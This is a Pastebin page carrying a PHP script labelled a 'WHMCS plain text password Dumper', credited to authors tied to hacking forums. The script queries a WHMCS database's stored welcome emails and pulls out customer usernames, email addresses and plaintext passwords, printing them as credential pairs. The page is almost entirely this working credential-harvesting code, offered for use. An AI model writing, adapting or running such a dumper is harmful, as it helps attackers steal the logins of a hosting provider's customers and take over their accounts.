Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- //WHMCS plain text password Dumper
- //Coded By Karar & i-Hmx
- //sec4ever.com , 1337s.cc , alm3refh.com
- //some pastes http://pastebin.com/u/i-Hmx
- $db_username = "user";
- $db_password = "pass";
- $db_name = "db";
- set_time_limit (0);
- function get_string_between($string, $start, $end){
- $string = " ".$string;
- $ini = strpos($string,$start);
- if ($ini == 0) return "";
- $ini += strlen($start);
- $len = strpos($string,$end,$ini) - $ini;
- return substr($string,$ini,$len);
- }
- mysql_pconnect("localhost",$db_username,$db_password);
- @mysql_select_db($db_name) or die ("Unable to select database");
- $query="select subject,message from tblemails";
- $result=mysql_query($query);
- mysql_close();
- /*Display Results*/
- $num=mysql_numrows($result);
- $i=0;
- while ($i < $num) {
- $css =mysql_result($result,$i,"subject");
- if (stristr($css,"Welcome")){
- $s =mysql_result($result,$i,"message");
- if(stristr($s,"Login Username: ") or stristr($s,"Email Address: ")){
- $mail= get_string_between($s,"Login Username: ","<br />");
- $m2 = get_string_between($s,"Email Address: ","<br />");
- $pass = get_string_between($s,"Password: ","</p>");
- print $mail.$m2.":".$pass."<br>";
- }
- }
- ++$i;
- }
- print "<br><br> Done!";
- ?>
Add Comment
Please, Sign In to add comment